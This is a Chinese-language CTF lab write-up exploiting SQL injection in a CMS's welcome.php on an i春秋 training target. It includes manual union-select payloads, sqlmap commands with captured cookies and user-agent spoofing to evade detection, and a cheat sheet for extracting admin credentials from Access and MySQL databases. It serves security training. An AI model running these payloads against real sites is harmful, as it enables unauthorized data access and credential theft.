目录
一.i春秋
靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。
打开是一个登录注册页面:
点击登录:url看着也没有sql注入
随意输入邮箱和密码:
并用bp抓包
回显用户名或者密码错误:
考虑到要找welcome.php,应该是一个登录进去的页面,爆破登录太慢,有随机性。
就从注册页面入手吧:
进入注册页面:
用户密码随意输入就可:
登录我们刚刚注册的用户:
成功登录,进入welcome.php页面:
q=2
q=3
当q=4时:是没有页面的
经过简单的测试,发现home下的start可以跳转:
查看一下url:
发现submit每点击一次,url的n的值就会加1:
测试url的 n=2' 发现有sql注入:
二.手工注入
测试注入点:
n=2' union select 1,2,3,4,5--+
http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34
查询当前数据库名称:
n=2' union select 1,2,database(),4,5--+
查询数据库位置:
n=2' union select 1,2,@@datadir,4,5--+
查询数据库表
2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+
查看flag表中的字段:
2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+
查询字段flag
2' union select 1,2,group_concat(flag),4,5 from flag--+
flag值 :
flag{159e51b2-cdb2-4db2-a59f-5c5c1971216d}
以下是sqlmap工具跑出来的,容器是一个新的,所以flag不一样。
三.sqlmap注入
测试并burp抓包:
这时我们可以用两种方法解题:
都是用到sqlmap的
Sqlmap基本参数:
--u #指定要测试的目标url--p #指定sqlmap注入的传参参数--cookie #绕过身份验证--random-agent或--user-agent #绕过客户端验证--batch #默认后续sqlmap操作都为Y--dbs #爆破所有数据库(databases缩写)
1.sqlmap注入---文件.txt
把抓包的内容写入txt中:
爆库:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs
爆出来数据库:
爆表
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" --tables
爆出来的表:
爆列:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" --columns
爆字段:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" -C "flag" --dump
得出来flag:
flag{d08e9fb8-9a7e-4827-b478-a32665656c8e}
2.sqlmap--参数
该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。
-u 的url
-u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10"
-p 的参数
-p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
--cookie 设置cookie值
--cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668"
自动确认y 和 爆库
--batch --dbs
完整的:
虽然有点多,但也就是复制粘贴的事~
python sqlmap.py -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" --cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668" --batch --dbs
爆表:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" --tables
爆列:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" -T "flag" --columns
爆字段:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" -T "flag" -C "flag" --dump
附:sql注入命令
可能出现asp?id=x的网站
只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。
漏洞测试
(1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;
(2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。
Acess数据库注入(手动)
(1)使用‘and’语句来判断是否存在注入;
(2)判断数据库类型;
and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。
(3)查看数据库名;
and db_name()>0
(4)查看版本信息;
and 0<>(select @@version)
(5)查看数据库中是否存在admin这个管理表;
and exists(select * from [admin])
and (select count(*) from admin)>0
(6)查看admin这个表中是否有username这个管理列;
and exists(select top 1 [username] from [admin])
and (select username from admin)>0
(7)猜测admin这个管理列中用户名的长度;
and (select top 1 len(username) from admin)>0
后面的长度随意猜测,选择最大返回正常值加1作为长度。
(8)取出username的ASCII码值;
and (select top 1 asc(mid(username,N,1)) from admin)>0
mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。
MySQL数据库注入(手动)
(1)判断注入点,后面加#,返回正常则为MySQL数据库;
(2)判断字段数;
orderb by 1--
数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置
(3)联合查询,判断可回显数据的位置;
union select 1,2,3...(上一个得到的字段数)--
要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。
(4)查看用户,版本,库名
user(),version(),database()
(5)查看管理表(常见的管理表命名方式:system、login、admin、users)
union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--
(6)查看列
union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--
sqlmap
(1)需要在python环境下运行;
(2)测试是否为注入点;
sqlmap.py -u "URL"
(3)获取数据列表;
sqlmap.py -u "URL" --dbs
(4)当前数据库;
sqlmap.py -u "URL" --current-db
(5)获取数据库所有表信息;
sqlmap.py -u "URL" --tables -D "目标数据库"
(6)获取列;
sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”
(7)获取字段;
sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”
来源地址:https://blog.csdn.net/m0_65712192/article/details/130094542